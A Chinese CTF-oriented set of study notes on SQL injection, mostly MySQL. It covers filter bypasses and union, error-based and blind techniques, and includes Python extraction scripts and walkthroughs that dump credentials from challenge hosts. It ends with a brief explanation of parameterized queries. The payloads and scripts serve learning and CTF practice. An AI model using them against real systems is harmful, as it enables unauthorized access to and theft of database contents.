赞
踩
因为SQL注入部分知识主要从CTF中学到,所以主要以MYSQL为主。
SQL注入原理
SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。
SQL注入式攻击的主要形式有两种。
常见主流数据库
有时候需要去试哪个能行,写个脚本批量替换空格即可
payload = "1'union select 1,2,password from ctfshow_user where username='flag'%23"
for i in ['0a', '0b', '0c', '0d', '09', 'a0']:
res = payload.replace(" ", '%{0}'.format(i))
print(res)
# 1'union%0aselect%0a1,2,password%0afrom%0actfshow_user%0awhere%0ausername='flag'%23
# 1'union%0bselect%0b1,2,password%0bfrom%0bctfshow_user%0bwhere%0busername='flag'%23
# 1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
# 1'union%0dselect%0d1,2,password%0dfrom%0dctfshow_user%0dwhere%0dusername='flag'%23
# 1'union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
# 1'union%a0select%a01,2,password%a0from%a0ctfshow_user%a0where%a0username='flag'%23
不加通配符的like
执行的效果和=一致,所以可以用来绕过。
除此之外,还有in
和regexp
,regexp等同于rlike
# =
select(group_concat(column_name))from(information_schema.columns)where(table_name)=(database())
# in
select(group_concat(column_name))from(information_schema.columns)where(table_name)in(database())
# like
select(group_concat(column_name))from(information_schema.columns)where(table_name)like(database())
# regexp 与 rlike
select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(database())
select(group_concat(column_name))from(information_schema.columns)where(table_name)rlike(database())
select(group_concat(flag))from(users)where(flag)regexp("^f")
# between
select(group_concat(column_name))from(information_schema.columns)where(table_name)between(0x70)and(0x7a);
一、sql盲注时常用substr()函数,例如:
substr((database()),1,1)
这时候可以改为
substr((database())from({})for(1))
二、还可以使用join
将参数连接起来
#正常爆数据库
mysql> select id,name from a where id=1 union select database(),22;
+------+------+
| id | name |
+------+------+
| 1 | a |
| 1 | 2 |
| cy | 22 |
+------+------+
#不要逗号
mysql> select id,name from a where id=1 union select * from (select database())a join (select 22)b;
+------+------+
| id | name |
+------+------+
| 1 | a |
| 1 | 2 |
| cy | 22 |
+------+------+
三、limit逗号的绕过
select * from admin limit 0,2;
select * from admin limit 2 offset 0;
四、union注入
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
python脚本,num处修改字段数即可
def sql(payload="union select * from ((select 1)a", num=20):
num += 1
for i in range(2, num):
a = chr(96+int(i))
payload = payload + f" join (select {i}){a}"
print(payload+")")
sql()
可以使用16进制的方法来绕过
select(group_concat(column_name))from(information_schema.columns)where(table_name)='web1'
select(group_concat(column_name))from(information_schema.columns)where(table_name)=(0x77656231)
注释符 | |
---|---|
# | |
–+ | |
;%00 | 在Mysql种%00也是注释符。但是前面必须得加; |
过滤--
的话还可以使用-or-
使用hex
加密一下输出结果,例如username字段输出有flag,用hex加密一下username即可
' union select id,hex(username),password from ctfshow_user3 where username='flag'--+
或者使用reverse
、to_base64
等函数
' union select id,reverse(username),password from ctfshow_user3 where username='flag'--+
可以用true代替,构造数字
mysql> select 2;
2
mysql> select true+true;
2
构造字符
mysql> select char(100);
d
mysql> select char(true+... + true + ...+true);
d
hex(),bin(),ord()
id=1^(ord(substr((user())from({})for(1)))>{})^1
id=1^(ascii(substr((user())from({})for(1)))>{})^1
可以使用left(str, length)
从左边length位截取字符串
select left(‘abcdefghijklmn’,8)
结果为:abcdefgh
可以使用right(str,length)
使用方法同left
可以使用mid(str,start,length)
截取字符串从start开始并截取length长度,相当于substr()
还可以使用position(),instr(),locate()
#payload
#position("a" in "abcd")
admin' and if(position('{}' in (select f1ag from ctfshow_flxg))=1,1,power(9999,99))#
# locate("a","abcd")
admin' and if(locate('{}',(select f1ag from ctfshow_flxg))=1,1,power(9999,99))#
# instr("abcd","a")
admin' and if(instr((select f1ag from ctfshow_flxg),'{}')=1,1,power(9999,99))#
可以使用reverse()
如下例:
"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f")),0x7e),1))#
"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp("^f"))),0x7e),1))#
再倒叙一下
where
select name from a where substr(database(),1,1)='c';
利用having
select name from a group by name having name like 'f%';
利用join,只有select后是*的时候能用。
select * from a as b right join a as c on substr(c.name,1,1) = 'f';
select count(*) from a as b right join a as c on substr(c.name,1,1) = 'f';
当sleep函数被过滤,可以使用benchmark函数。他是指执行某函数的次数,次数多了照样实现sleep函数相同的时间延迟。
benchmark(100000,SHA1('1'))
#MD5
select BENCHMARK(10000000,MD5(@input));
#SHA1
select BENCHMARK(10000000,SHA1(@input));
database/**/()
`version`()
先用下面这些表查表名,然后进行无列名注入
schema_auto_increment_columns #只有表自增的表才在里面,可能会漏掉一些
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.innodb_buffer_stats_by_schema
sys.innodb_buffer_stats_by_table
mysql.innodb_table_stats
sys.schema_tables_with_full_table_scans
示例:[GYCTF2020]Ezsqli
这道题过滤了or和in,所以用sys.x$schema_flattened_keys
代替information_schema
。
payload:
id=1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),1,1))>1)^1
写个脚本爆表:
import requests
url = ' http://2f3ff071-8fc5-4d03-89ef-2d2952d50730.node3.buuoj.cn/index.php'
flag = ''
for i in range(1, 50):
high = 127
low = 32
mid = (high+low)//2
while high > low:
# payload = "^(ord(substr((select(group_concat(flag))from(web1.flag))from({})for(1)))>{})^1".format(i,mid)
data = {
"id": "1^(ascii(substr((select(group_concat(table_name))from(sys.x$schema_flattened_keys)where(table_schema=database())),{},1))>{})^1".format(i,mid)
}
s = requests.post(url=url, data=data)
# print(s.text)
if 'Nu1L' in s.text:
low = mid+1
# high = mid
else:
high = mid
# low = mid + 1
mid = (high+low)//2
print(mid)
flag += chr(mid)
print(flag)
拿到表名:
无列名注入,这里是无列名盲注,不然简单一点:
id=1^((1,'g')>(select * from f1ag_1s_h3r3_hhhhh))^1
脚本爆flag:
这里可以直接用instr进行布尔盲注(应该是在select后面的地方才能用这个,select instr(username,"a") from table
)
instr: 指定子字符串或模式在原始字符串中的第一个位置
select instr("flag","f"); #1
select instr("flag","l"); #2
select instr("flag","a"); #3
select instr("flag","ag"); #3
poc:
user=\&pass=||instr((pass),binary(0x{}))#
查询字符串a,在列username的起始位置
SELECT INSTR(username, 'a') FROM t_user;
instr不区分大小写使用binary区分大小写
select ("aBc"="abc");
1
select ("aBc"=binary("abc"));
0
select ("aBc"=binary("aBc"));
1
SELECT * FROM t_user u WHERE u.user_name = BINARY "teacherLX";或者 SELECT * FROM t_user u WHERE "teacherLX" = BINARY u.user_name;
测试instr和binary,发现binary放在后面不起作用。
select instr(binary"abc","abc");
1
select instr(binary"abc","aBc");
0
利用case when进行注入
1' and case when(1=1) then sleep(3) else 1 end#
' union select 1,database()--+
' union select 1,concat(table_name) from information_schema.tables where table_schema=--+
1,查字段数
http://mozhe.cn/new_list.php?id=0 order by 5
时报错,说明字段有4个
2,查数据库
http://mozhe.cn/new_list.php?id=0 union select 1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
limit 5,1时返回为空,说明只有5个数据库information_schema、mozhe_Discuz_StormGroup、mysql、performance_schema、sys。
3,查表
http://mozhe.cn/new_list.php?id=0 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup' limit 0,1
数据库mozhe_Discuz_StormGroup只有2个数据表,StormGroup_member、notice。
4,查字段
http://mozhe.cn/new_list.php?id=0 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_Discuz_StormGroup' and table_name='StormGroup_member' limit 0,1
数据库mozhe_Discuz_StormGroup中的表StormGroup_member只有4个字段,名称为:id,name,password,status。
5,查类容
http://mozhe.cn/new_list.php?id=0 union select 1,2,concat(name,password),4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1
查到两个数据:
mozhe-356f589a7df439f6f744ff19bb8092c0
mozhe-d8dbe0baa6e0bbcc3b0d1e8219a5d2ad
宽字节注入原理:
1,出于安全考虑,单引号'
会被转义为/'
进入后台。
2,%bf/'
等于縗’
,这样就成功将/
号变为无效字符,从而正常使用单引号。(%bf
=β
)
解题:
1,由于题目是宽字节注入,直接使用宽字节注入方法进行注入。
http://219.153.49.228:41108/new_list.php?id=-1%df
报错正常,开始注入。
2,确定字段数
http://219.153.49.228:41108/new_list.php?id=-1%df' order by 5 --+
order by 6 时报错,字段数为5。
3,找到回显点,回显点为5和3。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,5 --+
4,爆数据库。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata --+
5,爆表,因为引号被转义,库名,表名使用16进制。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 --+
6,爆字段。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(column_name) from information_schema.columns where table_schema=0x6d6f7a68655f64697363757a5f73746f726d67726f7570 and table_name=0x73746f726d67726f75705f6d656d626572 --+
7,爆字段类容。
http://219.153.49.228:41108/new_list.php?id=-1%df' union select 1,2,3,4,group_concat(name,password,status) from mozhe_discuz_stormgroup.stormgroup_member --+
8,md5解密,登录。
一、脚本中的head与tail为什么取值为32和127
ascii表中可见字符范围为32(空格)到126(~),如下所示
… …
二、时间盲注基础语句IF
IF 表达式
IF( expr1 , expr2 , expr3 )
expr1 的值为 TRUE,则返回值为 expr2
expr1 的值为FALSE,则返回值为 expr3
例如
select if(true,1,0);
->1
select if(false,1,0);
->0
三、构造payload
select name from a limit 0,1;
->qaq
使用substr截取第一位
select substr((select name from a limit 0,1),1,1);
使用if判断,第一位为q,所以第一条语句返回1,第二条语句返回0
select if(substr((select name from a limit 0,1),1,1)='q',1,0);
->1
select if(substr((select name from a limit 0,1),1,1)='b',1,0);
->0
因为是盲注没有回显,所以我们要把1变为sleep(x)
,如果正确的话就会延迟x秒返回结果,错误则马上返回结果。
select if(substr((select name from a limit 0,1),1,1)='q',sleep(3),0);
四、写脚本
二分法脚本如下(GET型)
import requests
url = "http://xxx.com/1.php"
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while tail > head:
mid = (head + tail) // 2 # //向下取整即7.5取7,/为浮点数表示法
payload = "?id=1' and if(ascii(substr((这里填入要执行的SQL语句),{0},1))>{1},sleep(2),0) -- -".format(i, mid)
try:
r = requests.get(url+payload, timeout=0.5) # 如果0.5秒内返回结果,目标的ascii值小于等于mid,tail移动至中部,对于响应比较慢的网站,timeout应该设置大一点
tail = mid
except Exception as e: # 0.5秒内未返回结果,目标ascii大于中间值,head移动至中部,因为是大于,所以还要加1
head = mid+1
if head == 32: # 如果这一位为空就会出现结束之后head等于32的情况,break退出
break
result += chr(head) # 这里只能为head或者tail而不能为mid,因为mid可能会少一
print(result)
详细的过程:
mysql> select * from Course;
mysql> select 1,2,3,4 union select * from Course;
mysql> select `1` from (select 1,2,3,4 union select * from Course)a;
过滤反斜杠的话
select a from (select 1 as a,2,3,4 union select * from Course)a;
小例子:
表test
无列名查询address字段:
无列名盲注:
典型题目:[GYCTF2020]Ezsqli
先判断列数:
这里有4列,select 1,2,3,4
即不会报错,刚好与select * from shitu3
的4个列对应。
然后判断字段内容:
只能一位一位爆破,原理:
一位一位的比较,f
不大于flag的第一位f,所以返回0,g大于flag的第一位f,所以返回1,依次类推。
最后能爆破出gmbh字符串,依次上移一位即可得到flag
然后爆破shitu3的pass字段,如下:
select (select 1,'a',3,4)>(select *from shitu3);
报错
select (select 1,'b',3,4)>(select *from shitu3);
报错
… 报错
select (select 1,'f',3,4)>(select *from shitu3);
正确
由此判断第一位为e
select (select 1,'fa',3,4)>(select *from shitu3);
报错
select (select 1,'fb',3,4)>(select *from shitu3);
报错
… 报错
select (select 1,'fi',3,4)>(select *from shitu3);
正确
由此判断第二位为r
…
用脚本爆破即可。
通过Join无列名注入
约束条件
1.在知到表名的前提下才能操作
2.并且得有回显,如果没回显的话我们没有办法将错误信息给select出来
注入语句
and(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c)
例如现在我们要爆Course
表的列名,并且我们只知道它的表名
首先爆第一个列名
mysql> select * from (select *from Course a join Course b)c;
ERROR 1060 (42S21): Duplicate column name 'Cno'
然后加上using
爆下一个列名
mysql> select * from (select *from Course a join Course b using(Cno))c;
ERROR 1060 (42S21): Duplicate column name 'Cname'
mysql> select * from (select *from Course a join Course b using(Cno,Cname))c;
ERROR 1060 (42S21): Duplicate column name 'Cpno'
mysql> select * from (select *from Course a join Course b using(Cno,Cname,Cpno))c;
ERROR 1060 (42S21): Duplicate column name 'Ccredit'
至此,所有列名都爆出来了
赛题举例:ciscn2021 easy_sql
select * from (select * from users a join users b )c;
admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b )c
),'~'),1)--+
admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b using(id))c ),'~'),1)--+
admin') and updatexml(1,concat('~',(select * from (select * from flag a join flag b using(id,no))c ),'~'),1)--+
读取字段内容,数字要加反斜杠
admin') and updatexml(1,concat('~',(select `35f37fd6-0f87-4294-b2f0-788044d6d2f3` from flag),'~'),1)--+
读取另外一半flag
admin') and updatexml(1,concat('~',reverse((select `35f37fd6-0f87-4294-b2f0-788044d6d2f3` from flag)),'~'),1)--+
python倒序一下
>>> str="}-YH8cS-NWgW2-UbX6G-Ic7dR-r5FyE"
>>> str=str[::-1]
>>> str
'EyF5r-Rd7cI-G6XbU-2WgWN-Sc8HY-}'
updatexml
学习基于extractvalue()和updatexml()的报错注入
使用方法:updatexml(aaa ,concat(bbb,( SQL语句 ),bbb),aaa)
其中:aaa和bbb随便输入什么东西
回显:error:‘bbb 查询的SQL结果 bbb’
例:updatexml(1,concat('~',(select database()),'~'),1)
or updatexml(0,concat(0x7e,(select user()),0x7e),0)
——>无单引号
'/*'-updatexml(1,if(mid(user(),1,1)='b','~',1),1)-'*/'
解题:
1,?id=1'
报错。
2,?id=1' --+
正常,存在注入。
3,根据题目提示使用updatexml()进行报错注入。
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆出了数据库stormgroup。
4,爆表:
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='stormgroup' limit 0,1),0x7e),1)--+
爆出表:member
5,爆字段:
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='stormgroup' and table_name='member' limit 0,1),0x7e),1)--+
6,同上,爆出其他字段。
name,password,status
7,爆字段类容。
?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',password) from stormgroup.member limit 0,1),0x7e),1)--+
8,同上,爆出所有账号,密码。
mozhe-3114b433dece9180717f2b7de
mozhe-773243a831d361bcdb225f0dd
9,但是这里有个坑,因为updatexml只能输出32位,所以还要用substr()把后面几位爆出来。
?id=1' and updatexml(1,concat(0x7e,(select concat(name,'-',substr(password,26)) from stormgroup.member limit 0,1),0x7e),1)--+
得到密码:3114b433dece9180717f2b7de56b28a3
和:3783d53ee620b2901c8eaae3b56b28a3
10,md5解密登录得到flag。
exp报错注入
exp(x)
此函数返回e(自然对数的底)到X次方的值。简单来说就是e的x次方(MySQL≥5.5.5)
select exp(0);
->1
select exp(1);
->2.718281828459045
当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
select exp(710);
->ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
将0按位取反就会返回18446744073709551615
select ~0;
->18446744073709551615
函数成功执行后返回0,将成功执行的函数取反
就会得到18446744073709551615
的无符号BIGINT值。
select ~(select version());
->18446744073709551615
通过子查询与按位求反,造成一个DOUBLE overflow error,并借由此注出数据。
select exp(~(select*from(select user())x));
->ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
其他12种报错注入方法
1、通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );
11、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );
12、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );
报错的函数可以配合盲注,例如
if(1=1,1,<报错函数>)
如果前面的表达式正确的话就输出1,即不报错,错误则运行报错函数,通过页面的回显来进行注入
当字符相等时,不报错,错误时报错。
select if(1=1,1,power(9999,99))
select if(1=2,1,power(9999,99))
select 1 RLIKE (SELECT (CASE WHEN (1=1) THEN 1 ELSE 0x28 END))
select 1 RLIKE (SELECT (CASE WHEN (1=2) THEN 1 ELSE 0x28 END))
姿势:
product_show.php?id=101 RLIKE (SELECT (CASE WHEN ({}) THEN 1 ELSE 0x28 END))
# 判断是否存在注入
?id=1' and 1=2-- - #页面显示异常
?id=1' and 1=1-- - #页面正常显示
# 判断是否有回显
?id=1' and updatexml(1,0x7e,1)--+-
# 判断数据库长度,也可以忽略这步
?id=1' and length(database())=8-- -
# 判断mysql中数据库的数量
?id=1' and (select count(*) from information_schema.schemata)=1 -- -
# 爆字段内容
and ascii(substr(database(),1,1))=8
。。。。
姿势
# 常规ascii+substr
admin' and if(ascii(substr(database(),1,1)),1,2)='1
admin' and if(ascii(substr(database(),1,1)),1,2)='1'#
admin' and if(ascii(substr(database(),1,1)),1,power(9999,99))#
# regexp
admin' and if(substr(database(),1,1) = 'a',1,2)='1'#
admin' and if(substr(database(),1,1)regexp('a'),1,2)='1'#
admin' and if(load_file('/var/www/html/api/index.php')regexp('{}'),1,2)
1,单引号闭合最后的引号
题目:萌新赛web_萌新记忆
'||'a'<'b
这道题输入一个单引号,报错如下:
u=admin'&p=dsa
因为过滤了#和–+,所以只能构造'||'a'<'b
这种结果来闭合后面的单引号。
payload:
(判断字段长度):'||length(p)<'100
(猜解字段):'||substr(p,1,1)<'a
脚本如下:
import requests
url='https://8b2472d3-6e32-4ac6-b4b5-6134f3aeb7c8.chall.ctf.show/admin/checklogin.php'
s= '0123456789abcdefghijklmnopqrstuvwxyz'
flag=''
for i in range(1,18):
print('*')
for j in s:
data={"u":"'||substr(p,"+str(i)+",1)<'"+j,
"p":"1"
}
r=requests.post(url,data=data)
#print(r.text)
if "密码错误" == r.text:
flag+=chr(ord(j)-1)
print(flag)
break
2, 注入姿势 0’ or 1 or '0
例题:[RoarCTF 2019]Online Proxy
https://blog.csdn.net/qq_42357070/article/details/81239721
正常判断是否有SQL注入
id=2 and 1=1
id=2 and 1=2
判断列数,5报错列数为4
?id=2 order by 1
...
?id=2 order by 5
检测回显点
union all select null,1,null,null
联合注入,这里的3是字符串类型。因为UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。
?id=2 and 1=2 union all select 1,2,'3',4
开始爆数据
数据库,mozhe_db_v2
?id=2 and 1=2 union all select 1,db_name(),'3',4
爆表,manage
?id=2 and 1=2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
mmsql记录敏感信息的表在sysobjects 中,当xtype=‘U’ 代表是用户建立的表。
爆字段
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),'3',4
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),2) from sysobjects),'3',4
?id=2 and 1=2 union all select 1,(select top 1 col_name(object_id('manage'),3) from sysobjects),'3',4
object():
数据库中每个对象都有一个唯一的id值,object_id(name)可以根据表对象名称得到表对象的ID,object_id()只能返回用户创建的对像的ID,像以sys开头的表都是系统表所以返回不了的
col_name():
可以根据id值得到对像的名称,而且可以返回指定下标的结果.
爆字段内容
union all select 1,(select top 1 username from manage),'3',4
union all select 1,(select top 1 password from manage),'3',4
?id=2 and 1=2 union all select 1,(select username from manage),(select password from manage where username in ('admin_mz')),4
基本流程
# 判断列数
1 order by 1
...
1 order by 4
# 判断回显
1 union select 1,2,3,4
# SQLite 存在一个表sqlite_master ,里面的字段:type/name/tbl_name/rootpage/sql记录着用户创建表的信息
1 union select 1,name,sql,4 from sqlite_master
# 爆字段内容
1 union select 1,name,password,4 from WSTMart_reg
例题:Hack.lu CTF 2017: FlatScience
sqlite注入可以参考sqlite注入的一点总结
order by爆字段数
admin' order by 1--+
admin' order by 2--+
admin' order by 3--+
判断回显位置
admin' union select 1,2 --+
查询版本信息
admin' union select 1,sqlite_version() --+
查询表名以及字段名
admin' union select 1,sql from sqlite_master where type='table' --+
url解码
查询name字段
0' union select password,name from Users limit 0,1--+
0' union select password,name from Users limit 1,1--+
0' union select password,name from Users limit 2,1--+
查询password字段
0' union select password,password from Users limit 0,1--+
0' union select password,password from Users limit 1,1--+
0' union select password,password from Users limit 2,1--+
最后爆出如下数据
name password
hint
admin 3fab54a50e770d830c0416df817567662a9dc85c
my fav word in my fav paper?!
fritze 54eae8935c90f467427f05e4ece82cf569f89507
my love is…?
hansi 34b0bb7c304949f9ff2fc101eef0f048be10d3bd
the password is password
剩下部分和SQL注入无关就不写了
access数据库没有索引语句只能猜解。
判断数据库方法:
and (select count(*) from msysobjects)>0(返回权限不足 access数据库)
and (select count(*) fromsysobjects)>0 (返回正常则为MSSQL数据库)
预编译
原理:使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分也执行,是在数据库完成sql指令的编译后才套用参数运行。
简单的说:参数化能肪防注入的原因在于语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑。
几个比较详细的博客。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。